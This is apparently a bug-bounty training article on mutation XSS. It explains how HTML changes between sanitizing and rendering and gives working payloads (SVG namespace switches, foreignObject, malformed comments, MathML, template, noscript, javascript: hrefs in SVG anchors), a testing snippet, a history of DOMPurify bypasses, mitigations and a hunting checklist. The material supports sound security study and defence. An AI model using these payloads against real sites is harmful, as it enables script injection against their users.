Advanced levelWith account

Mutation XSS — when the HTML changes between sanitizing and rendering

The sanitizer sees A but the browser renders B. SVG namespace tricks, badly-closed comments, MathML, the template element. How to find mXSS against DOMPurify and homemade sanitizers.

Gorka El BochiMay 9, 202614 min

Quick answer

Mutation XSS (mXSS) happens when the HTML goes through sanitizer + browser parser and the browser mutates the HTML after sanitization, turning a "clean" payload into an executable one. Current vectors: SVG with foreignObject, namespace switching, badly-closed comments, MathML interfering with noscript/style, template tags. The most robust defense: sanitize after the mutation, not before.


The concept

Sanitizer:

javascript
Input:  <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
Sanitized: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>

The sanitizer sees nothing dangerous (just a title attribute with a string). But when inserting into the DOM:

javascript
element.innerHTML = sanitized;

The browser re-parses. In some contexts (SVG vs HTML namespace), the parser interprets the </title> as a real closing tag, spits out the <img> and executes onerror.


Historical vectors

1. SVG namespace switch

html
<svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>

In SVG context, <title> is CDATA-mode. The sanitizer passes it because "it's inside SVG." When inserting it into HTML, the browser switches from SVG to HTML namespace when closing </title> and processes <img> as a normal HTML tag.

2. SVG with foreignObject

html
<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>

foreignObject allows HTML content inside SVG. Some sanitizers allow SVG but don't detect that foreignObject reactivates HTML.

3. Badly-closed comments

html
<!--><img src=x onerror=alert(1)>-->

A valid comment is <!-- ... -->. But <!--> is an empty comment followed by normal HTML. Sanitizers that parse strict comments fail with this variant.

4. MathML

html
<math><mi xlink:href="data:x,<script>alert(1)</script>">click</mi></math>

MathML supports xlink:href. But when rendering it, the browser may interpret the data: as a script. Old sanitizers (pre-2020) didn't consider MathML.

5. Template element

html
<template><script>alert(1)</script></template>

Inside <template> the content isn't executed immediately. But when you move it to the DOM with appendChild(template.content), it is.

If the sanitizer allows template, the attacker puts the payload there, then a trigger in another event moves the content to the active DOM.

6. noscript with a script inside

html
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<noscript> is interpreted differently depending on the document's Content-Type. In application/xml vs text/html, the parser changes. Sanitizers from one context may fail when inserted into another.

7. STYLE element transition

html
<style><img src=x onerror=alert(1)></style>

Inside <style>, everything is CSS. But if the browser switches context (finding </style> or something that breaks the parser), it may emit the <img> to the DOM.


DOMPurify and its historical bypasses

DOMPurify is the de-facto standard sanitizer. It has a track record of mXSS patches:

  • 2020 (CVE-2020-26870): SVG via attributes namespace.
  • 2020: nested comments + foreignObject.
  • 2021: HTML/SVG namespace switching via specific tags.
  • 2022: prototype pollution via __proto__ keys.
  • 2023: edge cases with MathML annotation-xml.
  • 2024: template element with noscript inside.
  • 2025: namespace tricks with svg + table interaction.

Keeping DOMPurify up to date is critical. Versions below 2.4.x have known mXSS.


How to look for mXSS

1. Diff between input and output post-render

javascript
const input = '<svg><p title="</title><img src=x>"></p></svg>';
const sanitized = DOMPurify.sanitize(input);
console.log("Sanitized:", sanitized);

const div = document.createElement('div');
div.innerHTML = sanitized;
console.log("Post-render:", div.innerHTML);

If the Post-render is different from the Sanitized, there's a mutation. If the mutation introduces executable tags (img, script, iframe), mXSS.

2. Fuzzing combinations

Generate combinations <container><inner>...payload...</inner></container> with all possible containers (svg, math, table, noscript, template, style) and see which one mutates.

3. Manual testing in specific contexts

The context where the HTML is inserted affects the mutation:

  • <div> → normal HTML.
  • <svg> → SVG namespace.
  • <table> → the table parser has extra rules (foster parenting).
  • <select> → only allows option as a child.

Always test the sanitizer in the same context where the output will be inserted.


Real case (anonymized)

A sanitizer allowed SVGs with the proper namespace. The attacker combines:

html
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <text x="50" y="50" text-anchor="middle">click me</text>
  </a>
</svg>

The sanitizer allowed SVG and <a href="javascript:"> wasn't detected because the logic only blocked javascript: in HTML <a>, not in SVG <a>.

Inline render in the main DOM → executes javascript: on a click. Stored XSS if the SVG is stored in chat/comments.

(Full detail in the Academy article "Stored XSS via SVG href javascript in chat.")


Correct mitigation

  1. Maintained and updated sanitizer (DOMPurify, no custom rolls).
  2. Sanitize in the final context. Don't serialize and deserialize between sanitizer and render.
  3. Strong CSP as a second line: script-src 'self' + 'strict-dynamic'. Even if mXSS passes, without inline scripts the impact is nil.
  4. Trusted Types API: forces passing the HTML through a policy.createHTML(...) before you can use innerHTML. Hard to bypass.
  5. No SVG/MathML/Template unless strictly necessary. Reduced tag whitelist.
  6. Re-render in a sandbox (sandboxed iframe) if the HTML comes from critical user input.

Hunting checklist

  • Does the app allow user-input HTML (rich text editor, markdown rendering, comments with HTML)?
  • Is the sanitizer DOMPurify? Which version? Look up CVEs.
  • Does it allow SVG, MathML, foreignObject, template, noscript?
  • What happens with <svg><p title="</title><img>"></p></svg>?
  • What happens with namespace tricks (HTML inside SVG and vice versa)?
  • Is there a custom-rolled sanitizer (instead of DOMPurify)? Almost always vulnerable.
  • Is the insert context always HTML, or sometimes SVG / table / select?

Practice mXSS against vulnerable DOMPurify versions and custom sanitizers: Mutation XSS labs.

Practice this in a lab

Xss

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy